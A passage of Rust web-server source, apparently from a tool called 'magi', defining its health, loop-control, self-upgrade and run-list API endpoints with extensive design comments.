1723    upgrade: Option<UpgradeProgressView>,
1724}
1725
1726/// What `/api/health` knows about a release newer than this build.
1727///
1728/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1729/// is already the newest" from "never checked" - both are `None` - and the
1730/// phone needs to tell those apart to decide whether the deck can be trusted
1731/// to have an opinion at all.
1732#[derive(Debug, Serialize)]
1733struct UpdateView {
1734    /// A newer release is known to exist.
1735    available: bool,
1736    /// Its tag, when `available`.
1737    to: Option<String>,
1738}
1739
1740/// [`updater::Progress`] as `/api/health` reports it.
1741#[derive(Debug, Serialize)]
1742struct UpgradeProgressView {
1743    stage: updater::Stage,
1744    from: String,
1745    to: Option<String>,
1746    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1747    /// the step it is finishing before the address is handed over.
1748    waiting_on: Option<String>,
1749    started_at: Timestamp,
1750    updated_at: Timestamp,
1751    detail: Option<String>,
1752    /// Seconds the stage has outlived its allowance, when it has - see
1753    /// [`updater::stall`]. `null` while the stage is moving normally.
1754    stuck_for_secs: Option<i64>,
1755}
1756
1757/// Whether [`run_update_recheck`] may act at all this tick.
1758///
1759/// The same two conditions [`updater::Checker::new`] and
1760/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1761/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1762/// GitHub from this process" - on a button press or on a timer alike.
1763fn should_spawn_recheck(cfg: &Update) -> bool {
1764    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1765}
1766
1767/// Whether this tick should actually reach the network, once checking itself
1768/// is allowed.
1769///
1770/// An upgrade already in flight must not be raced by a check that discovers
1771/// a *newer* release while one is still installing - a phone watching
1772/// `/api/health` would see the answer change out from under the upgrade it
1773/// already asked for. Past that, [`updater::Checker::should_check`] is the
1774/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1775/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1776/// polling period, is what keeps this task's network use to at most once per
1777/// `[update] interval` regardless of how often it wakes up.
1778fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1779    if progress.is_some_and(|p| !p.stage.terminal()) {
1780        return false;
1781    }
1782    checker.should_check()
1783}
1784
1785/// How long [`run_update_recheck`] sleeps before its next wake-up.
1786///
1787/// A fraction of the configured `[update] interval` rather than a fixed
1788/// number: a fixed sleep longer than a short custom interval would leave the
1789/// deck waiting on its own wake-up rather than on `should_check`, so an
1790/// operator who set `interval = "1m"` to make the UI catch up quickly would
1791/// not see that take effect until the next restart - exactly the bug this
1792/// task exists to fix, just moved one level down. Scaling with the interval
1793/// keeps the wake-up prompt relative to what was actually configured, while
1794/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1795/// still what caps the network calls themselves at one per interval,
1796/// regardless of how often this fires.
1797fn recheck_poll_period(cfg: &Update) -> Duration {
1798    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1799}
1800
1801/// Keep `/api/health`'s `update` field current for as long as `magi web`
1802/// stays up.
1803///
1804/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1805/// which is enough for every other command: they exit in seconds. `magi web`
1806/// can run for days, so a single startup check leaves the cache - and the
1807/// phone's "Update & restart" button, which reads it via
1808/// [`cached_update_view`] - frozen on whatever that one look found, however
1809/// many releases ship afterwards. This is what notices the rest of them,
1810/// re-reading the config each tick so a `magi.toml` edit while the server is
1811/// up takes effect without a restart, the same way every other route here
1812/// already does - both for whether checking is on at all and for how long
1813/// the next sleep should be.
1814///
1815/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1816/// "install"`: swapping the running binary out from under a task or a run
1817/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1818/// not as a side effect of a timer nobody asked to fire. This only ever
1819/// calls [`updater::Checker::newer_release`], which refreshes
1820/// `last_update_check.json` and nothing else - so under `mode = "install"`
1821/// this behaves like `notify` for as long as the deck stays up, and an
1822/// actual self-install still happens exactly where it always has: once, at
1823/// the next process start.
1824async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1825    loop {
1826        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1827        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1828        if !should_spawn_recheck(&cfg.update) {
1829            continue;
1830        }
1831        let Some(checker) = updater::Checker::new(&cfg.update) else {
1832            continue;
1833        };
1834        let progress = updater::read_progress(&home);
1835        if !update_recheck_due(&checker, progress.as_ref()) {
1836            continue;
1837        }
1838        if let Err(e) = checker.newer_release().await {
1839            tracing::warn!("background update recheck failed: {e:#}");
1840        }
1841    }
1842}
1843
1844/// [`UpdateView`] from the same throttled, disk-only state
1845/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1846/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1847/// no cached state at all, which is correct: an operator who turned checking
1848/// off gets no opinion, not a stale one.
1849fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1850    let default;
1851    let cfg = match cfg {
1852        Some(cfg) => cfg,
1853        None => {
1854            default = Config::default();
1855            &default
1856        }
1857    };
1858    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1859    match latest {
1860        Some(latest) => UpdateView {
1861            available: true,
1862            to: Some(latest.tag_name),
1863        },
1864        None => UpdateView {
1865            available: false,
1866            to: None,
1867        },
1868    }
1869}
1870
1871/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1872/// from the parked run's own state when the stage is
1873/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1874/// already on disk in `run.json`, so this reads them fresh rather than
1875/// trusting whatever was true the moment the park was requested.
1876fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1877    let waiting_on = (progress.stage == updater::Stage::Parking)
1878        .then_some(progress.parked_run.as_deref())
1879        .flatten()
1880        .and_then(|id| read_run(&ui.runs, id).ok())
1881        .map(|run| {
1882            format!(
1883                "run {} is finishing {} before the address is handed over",
1884                run.short(),
1885                run.status.as_str()
1886            )
1887        });
1888    let detail = progress
1889        .detail
1890        .clone()
1891        .or_else(|| updater::read_note(&ui.home, &progress));
1892    let stalled = updater::stall(&progress, Timestamp::now());
1893    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1894    UpgradeProgressView {
1895        stuck_for_secs: stalled.map(|s| s.age_secs),
1896        stage: progress.stage,
1897        from: progress.from,
1898        to: progress.to,
1899        waiting_on,
1900        started_at: progress.started_at,
1901        updated_at: progress.updated_at,
1902        detail,
1903    }
1904}
1905
1906/// The disk figures `/api/health` carries. Every number is produced by
1907/// [`crate::disk`], the same code that decides a run may not start, so the
1908/// health screen and the gate cannot disagree about what the machine looks
1909/// like.
1910#[derive(Debug, Serialize)]
1911struct DiskView {
1912    /// Free bytes on the volume holding the runs, when measurable.
1913    #[serde(skip_serializing_if = "Option::is_none")]
1914    free_bytes: Option<u64>,
1915    /// Everything the runs directory occupies, unreadable runs included.
1916    runs_bytes: u64,
1917    /// Everything the runs' worktrees occupy.
1918    worktrees_bytes: u64,
1919    /// The shared build cache's size, when the config names one.
1920    #[serde(skip_serializing_if = "Option::is_none")]
1921    cache_bytes: Option<u64>,
1922}
1923
1924impl DiskView {
1925    /// Measure the three directories and re-read the config's cache.
1926    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1927        let cache_bytes = cfg
1928            .and_then(|cfg| cfg.cache_dir())
1929            .map(|dir| crate::disk::dir_size(&dir));
1930        Self {
1931            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1932            runs_bytes: crate::disk::dir_size(&ui.runs),
1933            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1934            cache_bytes,
1935        }
1936    }
1937}
1938
1939/// The daemon's state as the UI presents it.
1940#[derive(Debug, Serialize)]
1941struct DaemonView {
1942    running: bool,
1943    idle: Option<bool>,
1944    pid: Option<u32>,
1945    /// Every task and run currently in flight. Empty when idle; more than
1946    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1947    /// run going at once.
1948    current: Vec<daemon::Current>,
1949    completed: Option<u64>,
1950    stale_for_secs: Option<i64>,
1951}
1952
1953impl DaemonView {
1954    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1955    /// not this UI's — a crashed daemon must not look alive here while
1956    /// `doctor` calls it dead.
1957    fn of(status: Option<daemon::Reading>) -> Self {
1958        let Some(status) = status else {
1959            return Self {
1960                running: false,
1961                idle: None,
1962                pid: None,
1963                current: Vec::new(),
1964                completed: None,
1965                stale_for_secs: None,
1966            };
1967        };
1968        let now = Timestamp::now();
1969        let age = status.age_secs(now);
1970        Self {
1971            running: status.running(now),
1972            idle: Some(status.idle),
1973            pid: status.pid,
1974            current: status.current,
1975            completed: Some(status.completed),
1976            stale_for_secs: age,
1977        }
1978    }
1979}
1980
1981async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1982    blocking(move || {
1983        // One read of the status file for the two fields that describe it, so
1984        // `daemon` and `loop` in the same answer cannot disagree about who is
1985        // running the loop.
1986        let reading = daemon::read_status(&ui.home);
1987        // Read on its own line, not inside the literal below: the loop's lock
1988        // is not reentrant, and a guard taken as a temporary there would still
1989        // be held when `loop_view` took it again.
1990        let loop_rev = ui.lock_loop().rev;
1991        // One discover for both views: each is a few git processes plus a
1992        // config render, and neither depends on anything the other reads.
1993        let cfg = deputy_config(&ui.repo);
1994        let update = cached_update_view(cfg.as_ref());
1995        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1996        Ok(Json(HealthView {
1997            version: env!("CARGO_PKG_VERSION"),
1998            home: ui.home.display().to_string(),
1999            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2000            runs_rev: runs_revision(&ui.runs),
2001            questions_rev: ui.questions.revision(),
2002            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2003            notifications_rev: ui.notices.revision(),
2004            notifications_unread: ui.notices.count_unread(),
2005            loop_rev,
2006            runs_unreadable: runs_unreadable(&ui.runs),
2007            questions_open: ui.questions.count_open(),
2008            questions_needs_owner: ui.questions.count_needs_owner(),
2009            daemon: DaemonView::of(reading.clone()),
2010            looping: ui.loop_view(reading),
2011            disk: DiskView::of(&ui, cfg.as_ref()),
2012            update,
2013            upgrade,
2014        }))
2015    })
2016    .await
2017}
2018
2019/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2020#[derive(Debug, Serialize)]
2021struct LoopView {
2022    /// A loop is running in *this* process.
2023    running: bool,
2024    /// It has been asked to stop and is still finishing a run.
2025    ///
2026    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2027    /// because the two differ exactly where it matters: a loop asked to stop
2028    /// while idle is gone within one poll interval, and one asked to stop
2029    /// mid-run keeps going for as long as the graph takes. The operator needs
2030    /// to be told which of those they are waiting for.
2031    stopping: bool,
2032    /// A park was asked for: the run in flight stops at its next node
2033    /// boundary rather than finishing.
2034    ///
2035    /// Separate from `stopping` because the two promise different waits. A
2036    /// stop is "when this competition ends", which can be an hour; a park is
2037    /// "after the step it is on", which is minutes and is what an operator
2038    /// waiting to replace the binary needs to see.
2039    parking: bool,
2040    /// The loop is this process's own.
2041    ///
2042    /// Spelled separately from `running` for the front end's sake, even
2043    /// though inside this process the two move together: `running: false`
2044    /// with `daemon.running: true` is the case where the operator's own `magi
2045    /// serve` owns the loop, and `owned` is the field that tells the UI its
2046    /// buttons have to explain that rather than pretend.
2047    owned: bool,
2048    /// Repository the loop uses for tasks that name none - what it was
2049    /// started with while it runs, and what a start would use before that.
2050    repo: String,
2051    /// Merge mode override in force, or `null` when each repository's own
2052    /// config decides.
2053    merge: Option<String>,
2054    /// Why the last loop in this process ended, when it ended badly.
2055    ///
2056    /// The only place a crashed loop is visible to someone holding a phone.
2057    /// It is logged at error level as well, but a terminal nobody kept open
2058    /// is not a report, and a loop that died at 3am must not read as merely
2059    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2060    /// answers the same question about the same kind of failure.
2061    last_error: Option<String>,
2062    /// The status file, judged the same way `/api/health` judges it: this is
2063    /// what says whether a loop is alive in some *other* process.
2064    daemon: DaemonView,
2065}
2066
2067/// A loop another process already owns.
2068///
2069/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2070/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2071/// published by a pid that is not ours. Excluding our own pid is what makes
2072/// stopping work at all - the loop this process runs writes that file too, so
2073/// a check that ignored the pid would decide the operator's own UI was a
2074/// stranger and refuse to stop the loop it had just started.
2075#[derive(Debug, Clone, Copy)]
2076struct Foreign {
2077    /// The pid the other process published, when it published one.
2078    pid: Option<u32>,
2079}
2080
2081impl Foreign {
2082    /// Another process's live loop, or `None` when this process is free to
2083    /// run one.
2084    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2085        // A fresh heartbeat with no pid in it is still evidence of a live
2086        // daemon. "Some other process" is the honest answer, and refusing
2087        // to start beside it is the safe one.
2088        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2089    }
2090
2091    /// How a conflict names it. The pid is the whole point of the message: it
2092    /// is what the operator needs to find the terminal that owns the loop.
2093    fn who(&self) -> String {
2094        match self.pid {
2095            Some(pid) => format!("another magi process (pid {pid})"),
2096            None => "another magi process".to_owned(),
2097        }
2098    }
2099}
2100
2101/// How a loop is started, as a future this module can hold onto.
2102///
2103/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2104/// trait object or a hand-written `Debug` impl for the sake of one seam.
2105type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2106
2107/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2108fn launch_daemon(
2109    opts: daemon::Opts,
2110    stop: daemon::Stop,
2111) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2112    Box::pin(daemon::serve_until(opts, stop))
2113}
2114
2115/// The loop this process runs, behind one lock.
2116#[derive(Debug, Default)]
2117struct LoopState {
2118    /// The loop, while there is one.
2119    live: Option<Live>,
2120    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2121    ///
2122    /// The loop is in-process state rather than a file, so nothing on disk
2123    /// would tell a second phone that the first one started it. Without this
2124    /// counter the only way to learn about a start, a stop request or a crash
2125    /// would be to poll `/api/loop`, which is the thing the change stream
2126    /// exists to avoid on a mobile link.
2127    rev: u64,
2128    /// Why the last loop ended, when it ended badly. See
2129    /// [`LoopView::last_error`].
2130    last_error: Option<String>,
2131    /// The loop was running (and not already stopping) when the last upgrade
2132    /// parked it, so the successor should start one. Set afresh by every
2133    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2134    /// update.
2135    resume_after_handover: bool,
2136}
2137
2138/// A loop in flight.
2139#[derive(Debug)]
2140struct Live {
2141    /// The cooperative stop, shared with the loop task.
2142    stop: daemon::Stop,
2143    /// The task itself, kept only to answer whether it is still there: a loop
2144    /// that panicked never records its own end, and without this the view
2145    /// would go on reporting a loop that no longer exists - the one lie that
2146    /// would leave the operator with no button to press.
2147    handle: tokio::task::JoinHandle<()>,
2148    /// What the loop was started with, so the view reports the repository and
2149    /// merge mode its runs will actually use rather than what an edit to the
2150    /// config since would give.
2151    opts: daemon::Opts,
2152}
2153
2154impl Live {
2155    /// Is the task still there? See [`Live::handle`].
2156    fn alive(&self) -> bool {
2157        !self.handle.is_finished()
2158    }
2159}
2160
2161/// Take the loop lock, recovering from a poisoned one.
2162///
2163/// What this mutex holds is a stop flag, a task handle and two counters, none
2164/// of which a panic elsewhere can leave in a state worth refusing to read.
2165/// Propagating the poison instead would mean an operator who can see the loop
2166/// running and can no longer stop it from the only surface they have.
2167fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2168    state.lock().unwrap_or_else(PoisonError::into_inner)
2169}
2170
2171/// `GET /api/loop`.
2172async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2173    blocking(move || {
2174        let reading = daemon::read_status(&ui.home);
2175        Ok(Json(ui.loop_view(reading)))
2176    })
2177    .await
2178}
2179
2180/// The body of `POST /api/loop`.
2181///
2182/// One required field and nothing else: no `default` and no unknown fields,
2183/// so a body that fails to say which way the switch was flipped is a 400
2184/// rather than a tap that quietly does the opposite of what was pressed.
2185#[derive(Debug, Deserialize)]
2186#[serde(deny_unknown_fields)]
2187struct LoopCommand {
2188    running: bool,
2189    /// Stop the run in flight at its next node boundary rather than letting it
2190    /// finish.
2191    ///
2192    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2193    /// competition is tens of minutes of paid work and finishing it is
2194    /// normally the cheapest thing to do. A park is for the operator who
2195    /// wants the process gone now - to replace the binary, most of all - and
2196    /// it costs at most the node in progress because every node writes its
2197    /// state before the next one starts.
2198    #[serde(default)]
2199    park: bool,
2200}
2201
2202/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2203///
2204/// Answers with the view rather than waiting for the loop to reach the state
2205/// that was asked for. Starting is immediate anyway; stopping is not, and the
2206/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2207/// request open for. `stopping` in the answer is what the operator watches
2208/// instead.
2209async fn loop_post(
2210    State(ui): State<Arc<Ui>>,
2211    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2212) -> ApiResult<Json<LoopView>> {
2213    // Taken as a `Result` so a malformed body is a 400 like every other route
2214    // here, rather than axum's default 422 that the UI has no branch for.
2215    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2216    blocking(move || {
2217        let reading = daemon::read_status(&ui.home);
2218        let foreign = Foreign::of(reading.as_ref());
2219        if body.running {
2220            ui.start_loop(foreign)?;
2221        } else {
2222            ui.stop_loop(foreign, body.park)?;
2223        }
2224        Ok(Json(ui.loop_view(reading)))
2225    })
2226    .await
2227}
2228
2229/// What `POST /api/upgrade` set in motion.
2230#[derive(Debug, Serialize)]
2231struct UpgradeView {
2232    /// The version this process is running.
2233    from: String,
2234    /// The release it is replacing itself with, when there is one.
2235    to: Option<String>,
2236    /// A run was parked first, and this is its id.
2237    parked: Option<String>,
2238    /// What the operator should expect to happen next.
2239    detail: String,
2240}
2241
2242/// `POST /api/upgrade` - replace this binary with the newest release and come
2243/// back on it.
2244///
2245/// The one thing the deck could not do for itself. Every fix landed today
2246/// either waited for a competition to end or went in with the deck stopped,
2247/// because `cargo install` cannot overwrite a running executable on Windows.
2248/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2249/// the new one in its place, so the swap itself needs no downtime. Only the
2250/// restart does, and the order is the whole design:
2251///
2252/// 1. **Park.** A run in flight stops at its next node boundary and stays
2253///    resumable, so this costs at most the node in progress rather than the
2254///    competition. Without it the honest choices were waiting an hour or
2255///    discarding paid agent work.
2256/// 2. **Replace.** The new binary goes into place while this one still runs.
2257/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2258///    successor - see [`spawn_successor`] for what happens in the other
2259///    order.
2260/// 4. **Resume.** The next loop carries the parked run on rather than
2261///    competing again; see `daemon::attempt`.
2262///
2263/// Answers **202**: the reply has to reach the phone while this process can
2264/// still send one, and the phone learns the deck is back by reconnecting.
2265async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2266    let reading = daemon::read_status(&ui.home);
2267    if let Some(other) = Foreign::of(reading.as_ref()) {
2268        return Err(ApiError::conflict(format!(
2269            "the loop belongs to {}, so replacing this binary would leave \
2270             that process running an old one against the same queue. Upgrade \
2271             where it was started.",
2272            other.who()
2273        )));
2274    }
2275
2276    // The same kill switch the background check honours (`disabled_by_env`),
2277    // checked before anything else for the same reason it is read before the
2278    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2279    // contact GitHub from this process", and a button press must not
2280    // override that any more than a broken `magi.toml` may.
2281    if crate::updater::disabled_by_env() {
2282        return Ok((
2283            StatusCode::OK,
2284            Json(UpgradeView {
2285                from: env!("CARGO_PKG_VERSION").to_owned(),
2286                to: None,
2287                parked: None,
2288                detail: format!(
2289                    "Automatic updates are disabled by {}. Nothing was parked \
2290                     and nothing restarted.",
2291                    crate::updater::NO_AUTOUPDATE_ENV
2292                ),
2293            }),
2294        ));
2295    }
2296
2297    // Asked before anything is disturbed. Restarting when there is nothing
2298    // to install is not a harmless no-op: it parks the run in flight and
2299    // drops every connection to pay for an upgrade that did not happen. A
2300    // probe against a deck already on the newest build did exactly that.
2301    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2302    let from = env!("CARGO_PKG_VERSION").to_owned();
2303    let latest = match crate::updater::Checker::new(&cfg.update) {
2304        Some(checker) => checker
2305            .newer_release()
2306            .await
2307            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2308        None => None,
2309    };
2310    let Some(latest) = latest else {
2311        return Ok((
2312            StatusCode::OK,
2313            Json(UpgradeView {
2314                from,
2315                to: None,
2316                parked: None,
2317                detail: "Already on the newest release. Nothing was parked \
2318                         and nothing restarted."
2319                    .to_owned(),
2320            }),
2321        ));
2322    };
2323
2324    // Parked before anything is replaced: a successor that came up while a
2325    // run was mid-node would find a run nobody is driving.
2326    let parked = ui.park_for_upgrade()?;
2327    let detail = match &parked {
2328        // Honest about the wait. A park takes effect at the *next* node
2329        // boundary, so a run mid-implement finishes that wave first - up to
2330        // `timeout_implement`, an hour by default. Saying "restarting now"
2331        // would make the deck look wedged for the rest of it.
2332        Some(run) => format!(
2333            "Run {} is parking at its next step, which can take as long as \
2334             the step it is on - up to an hour for an implement wave. The \
2335             deck replaces itself once it parks, comes back, and the loop \
2336             carries that run on from where it stopped. Nothing is lost if \
2337             you close this.",
2338            crate::run::short_of(run)
2339        ),
2340        None => "The deck replaces itself and comes back. Nothing was in \
2341                 flight to park."
2342            .to_owned(),
2343    };
2344
2345    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2346    // poll must see a `Downloading` stage immediately, not whenever the
2347    // spawned task happens to get scheduled.
2348    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2349    progress.parked_run = parked.clone();
2350    let _ = updater::write_progress(&ui.home, &progress);
2351
2352    let home = ui.home.clone();
2353    let looping = ui.looping();
2354    tokio::spawn(async move {
2355        if let Err(e) = upgrade_and_restart(home.clone()).await {
2356            tracing::error!("the upgrade did not complete: {e:#}");
2357            lock_or_recover(&looping).resume_after_handover = false;
2358            if let Some(mut progress) = updater::read_progress(&home) {
2359                progress.fail(format!("{e:#}"));
2360                let _ = updater::write_progress(&home, &progress);
2361            }
2362        }
2363    });
2364
2365    Ok((
2366        StatusCode::ACCEPTED,
2367        Json(UpgradeView {
2368            from,
2369            to: Some(latest.tag_name),
2370            parked,
2371            detail,
2372        }),
2373    ))
2374}
2375
2376/// Replace the binary, then ask [`serve`] to hand the address over.
2377///
2378/// Separated from the handler so the 202 is already on its way, and separated
2379/// from the spawn so the successor starts only after the listener is dropped.
2380async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2381    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2382    // hang the upgrade for as long as the process lives.
2383    crate::updater::run_self_update(true, false, true).await?;
2384    updater::log_step(&home, "binary replaced - recording the replaced stage");
2385    if let Some(mut progress) = updater::read_progress(&home) {
2386        progress.advance(updater::Stage::Replaced);
2387        updater::write_progress_logged(&home, &progress);
2388    }
2389    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2390    HANDOVER.notify_one();
2391    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2392    Ok(())
2393}
2394
2395/// One row in the run list.
2396///
2397/// The list route returns this rather than whole `RunState`s: the summary of a
2398/// run is a few hundred bytes and the state is megabytes, and the difference
2399/// is what makes the history usable on a mobile link.
2400#[derive(Debug, Serialize)]
2401struct RunSummary {
2402    id: String,
2403    short: String,
2404    status: String,
2405    done: bool,
2406    instruction: String,
2407    title: String,
2408    repo: String,
2409    repo_name: String,
2410    created_at: String,
2411    updated_at: String,
2412    candidates: usize,
2413    viable: usize,
2414    judges: usize,
2415    winner: Option<char>,
2416    reviews: usize,
2417    quota_losses: usize,
2418    event: Option<String>,
2419    /// The later attempt at the same task that replaced this one, if any.
2420    ///
2421    /// Two cards with one title is otherwise unreadable: this is what lets
2422    /// the deck say "superseded by 4043" on the older of the pair.
2423    superseded_by: Option<String>,
2424    /// Blocked on a question nobody has answered.
2425    ///
2426    /// Derived from the question store rather than stored on the run: an agent
2427    /// calling `magi ask` blocks mid-node, and writing a status from there
2428    /// would race the graph's own save of `run.json` and be overwritten at the
2429    /// next node boundary. Asking the store is always true and never races.
2430    waiting: bool,
2431    /// Whether the process recorded as driving this run can still be proven
2432    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2433    /// rather than presenting its last graph node as still in flight.
2434    live: crate::run::Liveness,
2435    /// The land loop's last look at the pull request, when there is one.
2436    pr: Option<crate::run::PrRecord>,
2437    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2438    /// design — never picked up by the PR-polling merge watcher, unlike an
2439    /// ordinary `Ready` that may still be a live landing candidate. See
2440    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2441    /// re-deriving the same check from `status` and `merge.mode` itself.
2442    unmerged_by_design: bool,
2443    /// Who started the run, as the one label every surface shares; the
2444    /// "origin unknown" wording when the record predates origins.
2445    origin_label: String,
2446}
2447
2448impl RunSummary {
2449    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2450        Self {
2451            id: state.id.clone(),
2452            short: state.short().to_owned(),
2453            status: status_word(state.status),
2454            done: state.status.done(),
2455            unmerged_by_design: state.unmerged_by_design(),
2456            instruction: state.instruction.clone(),
2457            title: title_from(&state.instruction, TITLE_MAX),
2458            repo: state.repo.display().to_string(),
2459            repo_name: state
2460                .repo
2461                .file_name()
2462                .map(|n| n.to_string_lossy().into_owned())
2463                .unwrap_or_default(),
2464            created_at: state.created_at.to_string(),
2465            updated_at: state.updated_at.to_string(),
2466            candidates: state.candidates.len(),
2467            viable: state.viable().len(),
2468            judges: state.config.graph.judges,
2469            winner: state.winner().map(|c| c.label),
2470            reviews: state.reviews.len(),
2471            quota_losses: state.quota.len(),
2472            event: state.events.last().map(|e| e.message.clone()),
2473            waiting,
2474            live,
2475            // Filled in by the list route, which is the only place that can
2476            // see a task's other attempts.
2477            superseded_by: None,
2478            pr: state.pr.clone(),
2479            origin_label: crate::run::origin_label(state.origin.as_ref()),
2480        }
2481    }
2482}
2483
2484/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2485/// the same string `serde` writes for the status inside a full run.
2486fn status_word(status: RunStatus) -> String {
2487    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2488    // was a third way of naming the same statuses, and one that changed
2489    // silently with a derive.
2490    status.as_str().to_owned()
2491}
2492
2493/// `?limit=`, clamped by the handler.
2494#[derive(Debug, Deserialize)]
2495struct ListQuery {
2496    #[serde(default)]
2497    limit: Option<usize>,
2498    /// Exact ids only; an empty value requests no rows (except queue blockers).
2499    ids: Option<String>,
2500}
2501
2502impl ListQuery {
2503    fn contains(&self, id: &str) -> bool {
2504        self.ids
2505            .as_ref()
2506            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2507    }
2508}
2509
2510async fn runs_list(
2511    State(ui): State<Arc<Ui>>,
2512    Query(q): Query<ListQuery>,
2513) -> ApiResult<Json<Vec<RunSummary>>> {
2514    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2515    blocking(move || {
2516        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2517        let states = run_ids(&ui.runs)
2518            .into_iter()
2519            // A run whose state cannot be read is skipped, not fatal: a run
2520            // killed mid-write must not blank the history of every other one.
2521            // The detail route still explains it, which is where an operator
2522            // asking "what happened to that run" ends up.
2523            .filter_map(|id| read_run(&ui.runs, &id).ok())
2524            .take(limit)
2525            .filter(|run| q.contains(&run.id));
2526        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2527        let summaries = summarize(
2528            states,
2529            &open_runs,
2530            &claimed,
2531            &superseded,
2532            |p| probe.borrow_mut().status(p),
2533            |p| probe.borrow_mut().started_at(p),
2534        );
2535        Ok(Json(summaries))
2536    })
2537    .await
2538}
2539
2540/// Everything the per-run rows share, read once: runs with an open question,
2541/// runs a live daemon claims, and the superseded map. Asking per run re-read
2542/// every question file and the daemon status file for each of hundreds of
2543/// runs, and spawned a process probe per run on Windows.
2544fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2545    let open_runs: HashSet<String> = ui
2546        .questions
2547        .list()
2548        .into_iter()
2549        .filter(|q| q.status.open())
2550        .map(|q| q.run)
2551        .collect();
2552    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2553        .into_iter()
2554        .map(|c| c.run)
2555        .collect();
2556    (open_runs, claimed, ui.queue.superseded())
2557}
2558
2559/// The rows of the run list, given everything that is shared between them.
2560///
2561/// Pure over its inputs so a test can count how often the process queries are
2562/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2563/// takes, called at most once per run.
2564fn summarize<I, S, D>(
2565    states: I,
2566    open_runs: &HashSet<String>,
2567    claimed: &HashSet<String>,
2568    superseded: &HashMap<String, String>,
2569    mut status_q: S,
2570    mut identity_q: D,
2571) -> Vec<RunSummary>
2572where
2573    I: IntoIterator<Item = RunState>,
2574    S: FnMut(u32) -> Option<bool>,
2575    D: FnMut(u32) -> Option<String>,
2576{
2577    states
2578        .into_iter()
2579        .map(|state| {
